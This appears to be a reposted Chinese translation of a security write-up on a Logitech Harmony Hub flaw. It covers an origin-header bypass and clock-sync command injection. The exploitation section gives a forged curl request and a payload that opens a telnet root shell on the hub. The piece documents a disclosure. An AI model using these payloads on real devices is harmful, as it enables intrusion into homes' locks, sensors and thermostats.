怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

如何通过罗技的Harmony Hub控制所有家庭智能设备

介绍

Logitech的Harmony Hub是一款很受欢迎的智能家居设备,可与家中所有的联网设备进行通信和控制。目前在全球已有数百万用户使用,支持来自6000个品牌的27万台设备。Tenable最近发布了这个产品的关键的、未公开的漏洞,允许攻击者在未授权的情况下远程控制设备。

Hub因其脚本编写和自动化功能而深受好评。随着智能家居越来越主流,一个功能强大的控制器显得愈发重要。亚马逊(Alexa)、谷歌(Home)、苹果(Apple)和罗技(Harmony)都拥有类似产品。而罗技的Harmony也是一个不错的选择。

但是,智能家居的集中控制也吸引了攻击者的目光。如果能够攻下这个控制点,就可以非法访问连接到集控制器的每个设备。智能锁、电视、恒温器,甚至智能冰箱都可能被远程攻击者所控制。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

探索

这个Hub开放了3个端口,运行XMPP、WebSocket和一个定制的Web API服务。这些服务都通过Lua语言实现。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

你可以在设备更新期间获取固件。里面包含一个Linux内核和一个带有应用代码的squash文件系统。应用代码是一些被编译的Lua文件,用于实现Hub的服务和功能。你可以使用luadec github project的补丁版本对其进行反编译。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

这些lua文件实现了Harmony Hub的所有运行逻辑和智能家居的相关功能。Harmony Hub使用消息传递系统,当用户使用app控制Hub时,Logitech的远程服务器可命令Hub开始工作。当然,有一种保护机制来确保只有受信任的服务器才能发出请求。然而,保护机制存在缺陷,任何远程攻击者都可绕过安全措施。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

漏洞?

Hub会处理来自远程主机的所有网络请求,当然,在处理请求之前会验证来源。理论上来说这没有什么问题;但是,攻击者可以很容易地在HTTP请求头中加一行代码来伪造请求源头。此时,任何远程攻击者都可轻易绕过安全检查,驱使Hub做任何事。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

这个Hub有一个时钟同步功能。主要靠接受来自可信任服务器的输入,再在Linux的shell上执行命令来同步。注意,这个输入并不会进行安全检查。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

利用

到目前为止,我们有两件事要做:

利用时钟同步功能注入命令

绕过源头验证

为此,我们先执行一个HTTP请求,将时钟同步服务器设置为受攻击者控制的服务器。然后Hub将请求使用新设置的服务器重新同步时钟,这时再注入命令。

curl -d "{'cmd':'setup.account?provision', 'params': { 'provisionInfo': { 'mode':3, 'authToken':'1', 'discoveryServer':'http://10.0.0.10' } } }" -H "Origin: .myharmony.com" -H "Content-Type: application/json" http://10.0.0.176:8088

源到点设备到攻击者控制的服务器的伪造HTTP请求

{"DiscoveryUrls": [{ "Identifier":"TimeServer/current", "Address":"http://10.0.0.10/TimeServer/ current" }]}

时钟同步服务器的接收到的设备请求

{"utc":"0\";/bin/busybox telnetd -l/bin/sh -p9999;date -s \"0"}

攻击者控制的时钟同步服务器的响应

实践

在设备被完全控制后,远程攻击者可以访问连接到Hub上的所有智能设备。攻击者可以修改Nest恒温器的参数,关闭家庭安全设备的传感器,打开车门门闩,如下面所展示的一样。

怎么通过罗技Harmony Hub控制设备(Hub控制智能设备的方法)

https://cdn-images-1.medium.com/max/800/0*cPsJsU09oa_G_NFJ

Hub式硬件将始终是攻击者的一个主要目标,因为攻破一个产品就相当能控制一堆产品连接多个设备。因此,这些Hub式设备应拥有比其他设备更高的安全标准,加大攻击难度。

阅读全文
免责声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。